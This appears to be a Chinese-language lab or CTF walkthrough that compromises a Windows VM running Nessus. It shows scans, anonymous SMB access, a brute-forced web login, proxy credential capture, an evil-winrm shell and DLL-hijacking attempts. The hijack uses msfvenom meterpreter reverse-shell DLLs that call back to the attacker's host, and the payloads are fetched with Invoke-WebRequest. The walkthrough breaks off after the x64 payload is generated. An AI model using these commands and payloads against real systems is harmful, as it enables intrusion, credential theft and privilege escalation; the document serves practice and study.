image-20250721205230320

信息采集

┌──(root㉿kali)-[~]
└─# arp-scan -I eth1 192.168.56.0/24
Interface: eth1, type: EN10MB, MAC: 00:0c:29:96:80:36, IPv4: 192.168.56.103
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1 0a:00:27:00:00:0e (Unknown: locally administered)
192.168.56.100 08:00:27:81:30:5f PCS Systemtechnik GmbH
192.168.56.156 08:00:27:c0:51:50 PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.242 seconds (114.18 hosts/sec). 3 responded

┌──(root㉿kali)-[~]
└─# nmap -sV -sC -p- 192.168.56.156
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-22 08:01 EDT
Nmap scan report for 192.168.56.156
Host is up (0.00057s latency).
Not shown: 65523 closed tcp ports (reset)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8834/tcp open ssl/nessus-xmlrpc?
| ssl-cert: Subject: commonName=WIN-C05BOCC7F0H/organizationName=Nessus Users United/stateOrProvinceName=NY/countryName=US
| Not valid before: 2024-10-18T17:36:17
|_Not valid after: 2028-10-17T17:36:17
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Cache-Control: must-revalidate
| X-Frame-Options: DENY
| Content-Type: text/html
| ETag: fc785d9fb222132265fb83f9adb1608e
| Connection: close
| X-XSS-Protection: 1; mode=block
| Server: NessusWWW
| Date: Wed, 23 Jul 2025 03:02:58 GMT
| X-Content-Type-Options: nosniff
| Content-Length: 1217
| Content-Security-Policy: upgrade-insecure-requests; block-all-mixed-content; form-action 'self'; frame-ancestors 'none'; frame-src https://store.tenable.com; default-src 'self'; connect-src 'self' www.tenable.com; script-src 'self' www.tenable.com; img-src 'self' data:; style-src 'self' www.tenable.com; object-src 'none'; base-uri 'self';
| Strict-Transport-Security: max-age=31536000
| Expect-CT: max-age=0
| <!doctype html>
| <html lang="en">
| <head>
| <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
|_ <meta http-equiv="Content-Security-Policy" content="upgrade-inse
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8834-TCP:V=7.94SVN%T=SSL%I=7%D=7/22%Time=687F7DF3%P=x86_64-pc-linux
SF:-gnu%r(GetRequest,788,"HTTP/1\.1\x20200\x20OK\r\nCache-Control:\x20must
SF:-revalidate\r\nX-Frame-Options:\x20DENY\r\nContent-Type:\x20text/html\r
SF:\nETag:\x20fc785d9fb222132265fb83f9adb1608e\r\nConnection:\x20close\r\n
SF:X-XSS-Protection:\x201;\x20mode=block\r\nServer:\x20NessusWWW\r\nDate:\
SF:x20Wed,\x2023\x20Jul\x202025\x2003:02:58\x20GMT\r\nX-Content-Type-Optio
SF:ns:\x20nosniff\r\nContent-Length:\x201217\r\nContent-Security-Policy:\x
SF:20upgrade-insecure-requests;\x20block-all-mixed-content;\x20form-action
SF:\x20'self';\x20frame-ancestors\x20'none';\x20frame-src\x20https://store
SF:\.tenable\.com;\x20default-src\x20'self';\x20connect-src\x20'self'\x20w
SF:ww\.tenable\.com;\x20script-src\x20'self'\x20www\.tenable\.com;\x20img-
SF:src\x20'self'\x20data:;\x20style-src\x20'self'\x20www\.tenable\.com;\x2
SF:0object-src\x20'none';\x20base-uri\x20'self';\r\nStrict-Transport-Secur
SF:ity:\x20max-age=31536000\r\nExpect-CT:\x20max-age=0\r\n\r\n<!doctype\x2
SF:0html>\n<html\x20lang=\"en\">\n\x20\x20\x20\x20<head>\n\x20\x20\x20\x20
SF:\x20\x20\x20\x20<meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE
SF:=edge,chrome=1\"\x20/>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-e
SF:quiv=\"Content-Security-Policy\"\x20content=\"upgrade-inse");
MAC Address: 08:00:27:C0:51:50 (Oracle VirtualBox virtual NIC)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: NESSUS, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:c0:51:50 (Oracle VirtualBox virtual NIC)
|_clock-skew: 14h59m58s
| smb2-time:
| date: 2025-07-23T03:04:44
|_ start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 175.58 seconds

有一个登陆页面https访问

image-20250721211236861

扫目录的时候加上参数-k告诉它忽略 SSL/TLS 证书的验证错误。

gobuster dir -u https://192.168.56.156:8834 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x .php,.html,.txt,.xml -k

去看一下smb服务有什么突破点

┌──(root㉿kali)-[~]
└─# smbclient -L \\192.168.56.156 -N

Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
Documents Disk
IPC$ IPC Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.56.156 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

┌──(root㉿kali)-[~]
└─# smbclient \\\\192.168.56.156\\Documents -N
Try "help" to get a list of possible commands.
smb: \> dir
. DR 0 Fri Oct 18 20:42:53 2024
.. D 0 Sat Oct 19 01:08:23 2024
desktop.ini AHS 402 Sat Jun 15 13:54:33 2024
My Basic Network Scan_hwhm7q.pdf A 122006 Fri Oct 18 18:19:59 2024
My Music DHSrn 0 Sat Jun 15 13:54:27 2024
My Pictures DHSrn 0 Sat Jun 15 13:54:27 2024
My Videos DHSrn 0 Sat Jun 15 13:54:27 2024
Web Application Tests_f6jg9t.pdf A 136025 Fri Oct 18 18:20:14 2024

12942591 blocks of size 4096. 10994381 blocks available

可以直接匿名访问

smb: \> mget *
Get file desktop.ini? y
getting file \desktop.ini of size 402 as desktop.ini (23.1 KiloBytes/sec) (average 23.1 KiloBytes/sec)
Get file My Basic Network Scan_hwhm7q.pdf? y
getting file \My Basic Network Scan_hwhm7q.pdf of size 122006 as My Basic Network Scan_hwhm7q.pdf (2382.9 KiloBytes/sec) (average 1784.2 KiloBytes/sec)
Get file Web Application Tests_f6jg9t.pdf? y
getting file \Web Application Tests_f6jg9t.pdf of size 136025 as Web Application Tests_f6jg9t.pdf (2711.0 KiloBytes/sec) (average 2175.7 KiloBytes/sec)
smb: \>

两个pdf是nessus的扫描报告

但是作者说过不打cve我们看一下pdf有什么隐藏信息

使用exiftool来读取文件元信息

┌──(root㉿kali)-[/myift/bachang/win/nessus]
└─# exiftool *
======== desktop.ini
ExifTool Version Number : 12.76
File Name : desktop.ini
Directory : .
File Size : 402 bytes
File Modification Date/Time : 2025:07:21 21:31:27-04:00
File Access Date/Time : 2025:07:21 21:32:50-04:00
File Inode Change Date/Time : 2025:07:21 21:31:27-04:00
File Permissions : -rw-r--r--
File Type : TXT
File Type Extension : txt
MIME Type : text/plain
MIME Encoding : utf-16le
Byte Order Mark : Yes
Newlines : Windows CRLF
======== My Basic Network Scan_hwhm7q.pdf
ExifTool Version Number : 12.76
File Name : My Basic Network Scan_hwhm7q.pdf
Directory : .
File Size : 122 kB
File Modification Date/Time : 2025:07:21 21:31:29-04:00
File Access Date/Time : 2025:07:21 21:33:22-04:00
File Inode Change Date/Time : 2025:07:21 21:31:29-04:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
Linearized : No
Page Count : 5
Profile CMM Type : Little CMS
Profile Version : 2.3.0
Profile Class : Display Device Profile
Color Space Data : RGB
Profile Connection Space : XYZ
Profile Date Time : 2004:08:13 12:18:06
Profile File Signature : acsp
Primary Platform : Microsoft Corporation
CMM Flags : Not Embedded, Independent
Device Manufacturer : Little CMS
Device Model :
Device Attributes : Reflective, Glossy, Positive, Color
Rendering Intent : Perceptual
Connection Space Illuminant : 0.9642 1 0.82491
Profile Creator : Little CMS
Profile ID : 7fb30d688bf82d32a0e748daf3dba95d
Device Mfg Desc : lcms generated
Profile Description : sRGB
Device Model Desc : sRGB
Media White Point : 0.95015 1 1.08826
Red Matrix Column : 0.43585 0.22238 0.01392
Blue Matrix Column : 0.14302 0.06059 0.71384
Green Matrix Column : 0.38533 0.71704 0.09714
Red Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract)
Green Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract)
Blue Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract)
Chromaticity Channels : 3
Chromaticity Colorant : Unknown
Chromaticity Channel 1 : 0.64 0.33
Chromaticity Channel 2 : 0.3 0.60001
Chromaticity Channel 3 : 0.14999 0.06
Profile Copyright : no copyright, use freely
XMP Toolkit : Image::ExifTool 12.76
Date : 2024:10:18 15:10:05+02:00
Format : application/pdf
Language : x-unknown
Author : Jose
PDF Version : 1.4
Producer : Apache FOP Version 2.8
Create Date : 2024:10:18 15:10:05+02:00
Creator Tool : Apache FOP Version 2.8
Metadata Date : 2024:10:18 15:10:05+02:00
Page Mode : UseOutlines
Creator : Apache FOP Version 2.8
======== Web Application Tests_f6jg9t.pdf
ExifTool Version Number : 12.76
File Name : Web Application Tests_f6jg9t.pdf
Directory : .
File Size : 136 kB
File Modification Date/Time : 2025:07:21 21:31:30-04:00
File Access Date/Time : 2025:07:21 21:33:23-04:00
File Inode Change Date/Time : 2025:07:21 21:31:30-04:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
Linearized : No
Page Count : 6
Profile CMM Type : Little CMS
Profile Version : 2.3.0
Profile Class : Display Device Profile
Color Space Data : RGB
Profile Connection Space : XYZ
Profile Date Time : 2004:08:13 12:18:06
Profile File Signature : acsp
Primary Platform : Microsoft Corporation
CMM Flags : Not Embedded, Independent
Device Manufacturer : Little CMS
Device Model :
Device Attributes : Reflective, Glossy, Positive, Color
Rendering Intent : Perceptual
Connection Space Illuminant : 0.9642 1 0.82491
Profile Creator : Little CMS
Profile ID : 7fb30d688bf82d32a0e748daf3dba95d
Device Mfg Desc : lcms generated
Profile Description : sRGB
Device Model Desc : sRGB
Media White Point : 0.95015 1 1.08826
Red Matrix Column : 0.43585 0.22238 0.01392
Blue Matrix Column : 0.14302 0.06059 0.71384
Green Matrix Column : 0.38533 0.71704 0.09714
Red Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract)
Green Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract)
Blue Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract)
Chromaticity Channels : 3
Chromaticity Colorant : Unknown
Chromaticity Channel 1 : 0.64 0.33
Chromaticity Channel 2 : 0.3 0.60001
Chromaticity Channel 3 : 0.14999 0.06
Profile Copyright : no copyright, use freely
XMP Toolkit : Image::ExifTool 12.76
Date : 2024:10:18 15:10:19+02:00
Format : application/pdf
Language : x-unknown
Author : Jose
PDF Version : 1.4
Producer : Apache FOP Version 2.8
Create Date : 2024:10:18 15:10:19+02:00
Creator Tool : Apache FOP Version 2.8
Metadata Date : 2024:10:18 15:10:19+02:00
Page Mode : UseOutlines
Creator : Apache FOP Version 2.8
3 image files read

里面有

Author                          : Jose

直接作为用户名开始爆破

image-20250722162021100

得到密码为tequiero

登录之后发现

image-20250722180735188

密码看不到

但是我们可以将代理服务器改为我们的kali

┌──(root㉿kali)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.56.103] from (UNKNOWN) [192.168.56.156] 49742
CONNECT plugins.nessus.org:443 HTTP/1.1
Proxy-Authorization: Basic bmVzdXM6WiNKdVhIJHBoLTt2QCxYJm1WKQ==
Host: plugins.nessus.org
Connection: keep-Alive
User-Agent: Nessus/10.7.3
Content-Length: 0
Proxy-Connection: Keep-Alive

这样就得到了密码的base64

image-20250722180922066

但是没有开启ssh和远程登录端口我们去尝试smb

┌──(root㉿kali)-[~]
└─# crackmapexec smb 192.168.56.156 -u 'nesus' -p 'Z#JuXH$ph-;v@,X&mV)' --shares
SMB 192.168.56.156 445 NESSUS [*] Windows Server 2022 Build 20348 x64 (name:NESSUS) (domain:Nessus) (signing:False) (SMBv1:False)
SMB 192.168.56.156 445 NESSUS [-] Nessus\nesus:Z#JuXH$ph-;v@,X&mV) STATUS_PASSWORD_EXPIRED

就是单纯的密码过期了

去重置一下就好了

┌──(root㉿kali)-[~]
└─# crackmapexec smb 192.168.56.156 -u '' -p '' --shares
SMB 192.168.56.156 445 NESSUS [*] Windows Server 2022 Build 20348 x64 (name:NESSUS) (domain:Nessus) (signing:False) (SMBv1:False)
SMB 192.168.56.156 445 NESSUS [-] Nessus\: STATUS_ACCESS_DENIED
SMB 192.168.56.156 445 NESSUS [-] Error enumerating shares: Error occurs while reading from remote(104)

┌──(root㉿kali)-[~]
└─# crackmapexec smb 192.168.56.156 -u 'anonymous' -p '' --shares
SMB 192.168.56.156 445 NESSUS [*] Windows Server 2022 Build 20348 x64 (name:NESSUS) (domain:Nessus) (signing:False) (SMBv1:False)
SMB 192.168.56.156 445 NESSUS [+] Nessus\anonymous:
SMB 192.168.56.156 445 NESSUS [+] Enumerated shares
SMB 192.168.56.156 445 NESSUS Share Permissions Remark
SMB 192.168.56.156 445 NESSUS ----- ----------- ------
SMB 192.168.56.156 445 NESSUS ADMIN$ Remote Admin
SMB 192.168.56.156 445 NESSUS C$ Default share
SMB 192.168.56.156 445 NESSUS Documents READ,WRITE
SMB 192.168.56.156 445 NESSUS IPC$ READ Remote IPC

没有什么特别的权限

去evil-winrm拿shell,开放的有5985端口

┌──(root㉿kali)-[~]
└─# evil-winrm -i 192.168.56.156 -u nesus -p '123456'

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\nesus\Documents> dir
*Evil-WinRM* PS C:\Users\nesus\Documents> ls
*Evil-WinRM* PS C:\Users\nesus\Documents> cd ..
*Evil-WinRM* PS C:\Users\nesus> ls


Directory: C:\Users\nesus


Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 7/22/2025 6:22 PM 3D Objects
d-r--- 7/22/2025 6:22 PM Contacts
d-r--- 7/22/2025 6:22 PM Desktop
d-r--- 7/22/2025 6:22 PM Documents
d-r--- 7/22/2025 6:22 PM Downloads
d-r--- 7/22/2025 6:22 PM Favorites
d-r--- 7/22/2025 6:22 PM Links
d-r--- 7/22/2025 6:22 PM Music
d-r--- 7/22/2025 6:22 PM Pictures
d-r--- 7/22/2025 6:22 PM Saved Games
d-r--- 7/22/2025 6:22 PM Searches
d-r--- 7/22/2025 6:22 PM Videos


*Evil-WinRM* PS C:\Users\nesus> cd Desktop
*Evil-WinRM* PS C:\Users\nesus\Desktop> ls


Directory: C:\Users\nesus\Desktop


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/18/2024 1:41 PM 33 user.txt


*Evil-WinRM* PS C:\Users\nesus\Desktop> cat user.txt
72113f41d43e88eb5d67f732668bc3d1

传上去一个winPEAS进行扫描\

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\nesus\Documents> upload winPEAS.exe winPEAS.exe

Info: Uploading /myift/peas/winPEAS.exe to C:\Users\nesus\Documents\winPEAS.exe

Data: 13333844 bytes of 13333844 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Users\nesus\Documents> .\winPEAS.exe
[!] If you want to run the file analysis checks (search sensitive information in files), you need to specify the 'fileanalysis' or 'all' argument. Note that this search might take several minutes. For help, run winpeass.exe --help
ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
Long paths are disabled, so the maximum length of a path supported is 260 chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD

((((((((((((((((((((((((((((((((
(((((((((((((((((((((((((((((((((((((((((((
((((((((((((((**********/##########(((((((((((((
((((((((((((********************/#######(((((((((((
((((((((******************/@@@@@/****######((((((((((
((((((********************@@@@@@@@@@/***,####((((((((((
(((((********************/@@@@@%@@@@/********##(((((((((
(((############*********/%@@@@@@@@@/************((((((((
((##################(/**

=================================================================================================                                                                                                              

Tenable Nessus(Tenable, Inc. - Tenable Nessus)["C:\Program Files\Tenable\Nessus\nessus-service.exe"] - Autoload
File Permissions: nesus [AllAccess]
Possible DLL Hijacking in binary folder: C:\Program Files\Tenable\Nessus (nesus [AllAccess])
Tenable Nessus Network Security Scanner
=================================================================================================

这里给出目标系统上安装了 Tenable Nessus 漏洞扫描器

并且当前用户 nesusnessus-service.exe 这个服务文件拥有 AllAccess (完全控制) 权限

明确指出在 C:\Program Files\Tenable\Nessus 这个 Nessus 的安装目录中存在可能的 DLL 劫持漏洞

我们进行尝试

*Evil-WinRM* PS C:\Program Files\Tenable\Nessus> ls


Directory: C:\Program Files\Tenable\Nessus


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/18/2024 10:35 AM 1 .winperms
-a---- 5/9/2024 11:30 PM 2471544 fips.dll
-a---- 5/9/2024 11:30 PM 5217912 icudt73.dll
-a---- 5/9/2024 11:30 PM 1575032 icuuc73.dll
-a---- 5/9/2024 11:30 PM 4988536 legacy.dll
-a---- 5/9/2024 11:06 PM 375266 License.rtf
-a---- 5/9/2024 11:37 PM 11204728 nasl.exe
-a---- 5/9/2024 11:31 PM 264824 ndbg.exe
-a---- 5/9/2024 11:06 PM 46 Nessus Web Client.url
-a---- 5/9/2024 11:33 PM 38520 nessus-service.exe
-a---- 5/9/2024 11:37 PM 11143800 nessuscli.exe
-a---- 5/9/2024 11:38 PM 11925624 nessusd.exe
-a---- 7/22/2025 9:29 PM 0 version.dll

创建恶意dll

┌──(root㉿kali)-[/myift/bachang/win/nessus]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=4445 -f dll -o version.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of dll file: 9216 bytes
Saved as: version.dll

上传恶意dll

*Evil-WinRM* PS C:\Users\nesus\Documents> upload version.dll "C:\Program Files\Tenable\Nessus\version.dll"

Info: Uploading /myift/bachang/win/nessus/version.dll to C:\Program Files\Tenable\Nessus\version.dll

Data: 12288 bytes of 12288 bytes copied

Info: Upload successful!

开启监听

└─# msfconsole
Metasploit tip: Use sessions -1 to interact with the last opened session


.:okOOOkdc' 'cdkOOOko:.
.xOOOOOOOOOOOOc cOOOOOOOOOOOOx.
:OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO:
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
oOOOOOOOO.MMMM.oOOOOoOOOOl.MMMM,OOOOOOOOo
dOOOOOOOO.MMMMMM.cOOOOOc.MMMMMM,OOOOOOOOx
lOOOOOOOO.MMMMMMMMM;d;MMMMMMMMM,OOOOOOOOl
.OOOOOOOO.MMM.;MMMMMMMMMMM;MMMM,OOOOOOOO.
cOOOOOOO.MMM.OOc.MMMMM'oOO.MMM,OOOOOOOc
oOOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOOo
lOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOl
;OOOO'MMM.OOOO.MMM:OOOO.MMM;OOOO;
.dOOo'WM.OOOOocccxOOOO.MX'xOOd.
,kOl'M.OOOOOOOOOOOOO.M'dOk,
:kk;.OOOOOOOOOOOOO.;Ok:
;kOOOOOOOOOOOOOOOk:
,xOOOOOOOOOOOx,
.lOOOOOOOl.
,dOd,
.

=[ metasploit v6.4.50-dev ]
+ -- --=[ 2496 exploits - 1283 auxiliary - 431 post ]
+ -- --=[ 1610 payloads - 49 encoders - 13 nops ]
+ -- --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

^[[A^[[
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LPORT 4445
LPORT => 4445
msf6 exploit(multi/handler) > set LHOST 192.168.56.103
LHOST => 192.168.56.103
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.56.103:4445

这直接上传的反弹shell会被杀毒清除掉

*Evil-WinRM* PS C:\Program Files\Tenable\Nessus> upload version.dll version.dll

Info: Uploading /myift/bachang/win/nessus/version.dll to C:\Program Files\Tenable\Nessus\version.dll

Data: 12288 bytes of 12288 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\Program Files\Tenable\Nessus> ls


Directory: C:\Program Files\Tenable\Nessus


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/18/2024 10:35 AM 1 .winperms
-a---- 5/9/2024 11:30 PM 2471544 fips.dll
-a---- 5/9/2024 11:30 PM 5217912 icudt73.dll
-a---- 5/9/2024 11:30 PM 1575032 icuuc73.dll
-a---- 5/9/2024 11:30 PM 4988536 legacy.dll
-a---- 5/9/2024 11:06 PM 375266 License.rtf
-a---- 5/9/2024 11:37 PM 11204728 nasl.exe
-a---- 5/9/2024 11:31 PM 264824 ndbg.exe
-a---- 5/9/2024 11:06 PM 46 Nessus Web Client.url
-a---- 5/9/2024 11:33 PM 38520 nessus-service.exe
-a---- 5/9/2024 11:37 PM 11143800 nessuscli.exe
-a---- 5/9/2024 11:38 PM 11925624 nessusd.exe
-a---- 7/22/2025 9:35 PM 16 start
-a---- 7/22/2025 9:35 PM 16 stop
-a---- 7/22/2025 9:41 PM 0 version.dll

image-20250722214529663

*Evil-WinRM* PS C:\Program Files\Tenable\Nessus> Invoke-WebRequest -Uri http://192.168.56.103:8888/version.dll -OutFile version.dll
*Evil-WinRM* PS C:\Program Files\Tenable\Nessus> ls


Directory: C:\Program Files\Tenable\Nessus


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/18/2024 10:35 AM 1 .winperms
-a---- 5/9/2024 11:30 PM 2471544 fips.dll
-a---- 5/9/2024 11:30 PM 5217912 icudt73.dll
-a---- 5/9/2024 11:30 PM 1575032 icuuc73.dll
-a---- 5/9/2024 11:30 PM 4988536 legacy.dll
-a---- 5/9/2024 11:06 PM 375266 License.rtf
-a---- 5/9/2024 11:37 PM 11204728 nasl.exe
-a---- 5/9/2024 11:31 PM 264824 ndbg.exe
-a---- 5/9/2024 11:06 PM 46 Nessus Web Client.url
-a---- 5/9/2024 11:33 PM 38520 nessus-service.exe
-a---- 5/9/2024 11:37 PM 11143800 nessuscli.exe
-a---- 5/9/2024 11:38 PM 11925624 nessusd.exe
-a---- 7/22/2025 9:35 PM 16 start
-a---- 7/22/2025 9:35 PM 16 stop
-a---- 7/23/2025 9:49 AM 9216 version.dll

哟!这样传成功了

没有效果

换一个dll

*Evil-WinRM* PS C:\Program Files\Tenable\Nessus> Invoke-WebRequest -Uri http://192.168.56.103:8888/version.dll -OutFile legacy.dll
The process cannot access the file 'C:\Program Files\Tenable\Nessus\legacy.dll' because it is being used by another process.
At line:1 char:1
+ Invoke-WebRequest -Uri http://192.168.56.103:8888/version.dll -OutFil ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [Invoke-WebRequest], IOException
+ FullyQualifiedErrorId : System.IO.IOException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand
*Evil-WinRM* PS C:\Program Files\Tenable\Nessus> ls


Directory: C:\Program Files\Tenable\Nessus


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/18/2024 10:35 AM 1 .winperms
-a---- 5/9/2024 11:30 PM 2471544 fips.dll
-a---- 5/9/2024 11:30 PM 5217912 icudt73.dll
-a---- 5/9/2024 11:30 PM 1575032 icuuc73.dll
-a---- 5/9/2024 11:30 PM 4988536 legacy.dll
-a---- 5/9/2024 11:06 PM 375266 License.rtf
-a---- 5/9/2024 11:37 PM 11204728 nasl.exe
-a---- 5/9/2024 11:31 PM 264824 ndbg.exe
-a---- 5/9/2024 11:06 PM 46 Nessus Web Client.url
-a---- 5/9/2024 11:33 PM 38520 nessus-service.exe
-a---- 5/9/2024 11:37 PM 11143800 nessuscli.exe
-a---- 5/9/2024 11:38 PM 11925624 nessusd.exe
-a---- 7/22/2025 9:35 PM 16 start
-a---- 7/22/2025 9:35 PM 16 stop
-a---- 7/23/2025 9:49 AM 9216 version.dll


*Evil-WinRM* PS C:\Program Files\Tenable\Nessus> Invoke-WebRequest -Uri http://192.168.56.103:8888/version.dll -OutFile 1.dll
*Evil-WinRM* PS C:\Program Files\Tenable\Nessus> ls


Directory: C:\Program Files\Tenable\Nessus


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/18/2024 10:35 AM 1 .winperms
-a---- 7/23/2025 9:59 AM 9216 1.dll
-a---- 5/9/2024 11:30 PM 2471544 fips.dll
-a---- 5/9/2024 11:30 PM 5217912 icudt73.dll
-a---- 5/9/2024 11:30 PM 1575032 icuuc73.dll
-a---- 5/9/2024 11:30 PM 4988536 legacy.dll
-a---- 5/9/2024 11:06 PM 375266 License.rtf
-a---- 5/9/2024 11:37 PM 11204728 nasl.exe
-a---- 5/9/2024 11:31 PM 264824 ndbg.exe
-a---- 5/9/2024 11:06 PM 46 Nessus Web Client.url
-a---- 5/9/2024 11:33 PM 38520 nessus-service.exe
-a---- 5/9/2024 11:37 PM 11143800 nessuscli.exe
-a---- 5/9/2024 11:38 PM 11925624 nessusd.exe
-a---- 7/22/2025 9:35 PM 16 start
-a---- 7/22/2025 9:35 PM 16 stop
-a---- 7/23/2025 9:49 AM 9216 version.dll


*Evil-WinRM* PS C:\Program Files\Tenable\Nessus> mv legacy.dll 2.dll
*Evil-WinRM* PS C:\Program Files\Tenable\Nessus> ls


Directory: C:\Program Files\Tenable\Nessus


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/18/2024 10:35 AM 1 .winperms
-a---- 7/23/2025 9:59 AM 9216 1.dll
-a---- 5/9/2024 11:30 PM 4988536 2.dll
-a---- 5/9/2024 11:30 PM 2471544 fips.dll
-a---- 5/9/2024 11:30 PM 5217912 icudt73.dll
-a---- 5/9/2024 11:30 PM 1575032 icuuc73.dll
-a---- 5/9/2024 11:06 PM 375266 License.rtf
-a---- 5/9/2024 11:37 PM 11204728 nasl.exe
-a---- 5/9/2024 11:31 PM 264824 ndbg.exe
-a---- 5/9/2024 11:06 PM 46 Nessus Web Client.url
-a---- 5/9/2024 11:33 PM 38520 nessus-service.exe
-a---- 5/9/2024 11:37 PM 11143800 nessuscli.exe
-a---- 5/9/2024 11:38 PM 11925624 nessusd.exe
-a---- 7/22/2025 9:35 PM 16 start
-a---- 7/22/2025 9:35 PM 16 stop
-a---- 7/23/2025 9:49 AM 9216 version.dll


*Evil-WinRM* PS C:\Program Files\Tenable\Nessus> mv 1.dll legacy.dll
*Evil-WinRM* PS C:\Program Files\Tenable\Nessus> ls


Directory: C:\Program Files\Tenable\Nessus


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/18/2024 10:35 AM 1 .winperms
-a---- 5/9/2024 11:30 PM 4988536 2.dll
-a---- 5/9/2024 11:30 PM 2471544 fips.dll
-a---- 5/9/2024 11:30 PM 5217912 icudt73.dll
-a---- 5/9/2024 11:30 PM 1575032 icuuc73.dll
-a---- 7/23/2025 9:59 AM 9216 legacy.dll
-a---- 5/9/2024 11:06 PM 375266 License.rtf
-a---- 5/9/2024 11:37 PM 11204728 nasl.exe
-a---- 5/9/2024 11:31 PM 264824 ndbg.exe
-a---- 5/9/2024 11:06 PM 46 Nessus Web Client.url
-a---- 5/9/2024 11:33 PM 38520 nessus-service.exe
-a---- 5/9/2024 11:37 PM 11143800 nessuscli.exe
-a---- 5/9/2024 11:38 PM 11925624 nessusd.exe
-a---- 7/22/2025 9:35 PM 16 start
-a---- 7/22/2025 9:35 PM 16 stop
-a---- 7/23/2025 9:49 AM 9216 version.dll

直接传传不进去我们传完改名即可

又失败了

小丑了,这个是x64的架构

┌──(root㉿kali)-[/myift/bachang/win/nessus]
└─# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=8081 -f dll -o 2.dll --arch x64
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 9216 bytes
Saved as: 2.dll

------------------------------------------------------------------------------------------------------------

